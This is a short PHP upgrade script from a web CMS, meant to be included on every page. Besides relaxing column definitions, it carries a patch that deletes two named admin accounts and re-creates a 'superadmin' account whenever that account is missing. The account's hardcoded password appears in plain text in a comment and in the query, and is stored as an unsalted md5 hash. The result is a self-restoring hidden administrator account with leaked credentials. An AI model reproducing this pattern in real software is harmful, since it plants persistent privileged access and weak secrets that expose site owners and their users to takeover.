<?php
/*
<!--升级代码-->
<!--为了满足系统不断升级，以及对旧系统的兼容性，统一在每个页面引入，-->
*/
?>


<!--很多not null，项目，把他们都取消掉-->
<?php

    mysql_query("ALTER TABLE ".$table_Prefix."login_admin CHANGE `weixin_send` `weixin_send` TEXT CHARACTER SET utf8 COLLATE utf8_general_ci");
    mysql_query("ALTER TABLE ".$table_Prefix."login_admin CHANGE `system` `system` TEXT CHARACTER SET utf8 COLLATE utf8_general_ci");
    mysql_query("ALTER TABLE ".$table_Prefix."login_admin CHANGE `open_id` `open_id` TEXT CHARACTER SET utf8 COLLATE utf8_general_ci");

?>



<?
//一些旧的网站中，prefix写了大写。事后升级统一小写，导致调用丢失;
$table_prefix =  $table_Prefix;





//后续一些补丁，可以在此录入


//20240813
//删除编辑账号，新建超级管理员账号
//superadmin   !Cir12345

$_delete_bianjie_account="delete from $table_prefix"."login_admin where name='bianji'";
$result_bianjie_account=mysql_query($_delete_bianjie_account);

$_delete_bianjie_account="delete from $table_prefix"."login_admin where name='kulaex2'";
$result_bianjie_account=mysql_query($_delete_bianjie_account);

$_superadmin=select_one_line_all_items($table_prefix."login_admin","name = 'superadmin'");


if(!$_superadmin['nid'])
{
$_create_superadmin_account="insert into $table_prefix"."login_admin (name,admin_password,introduce) values ('superadmin',md5('!Cir12345'),'圆点设计') ";
$result_superadmin_account=mysql_query($_create_superadmin_account);
}


?>
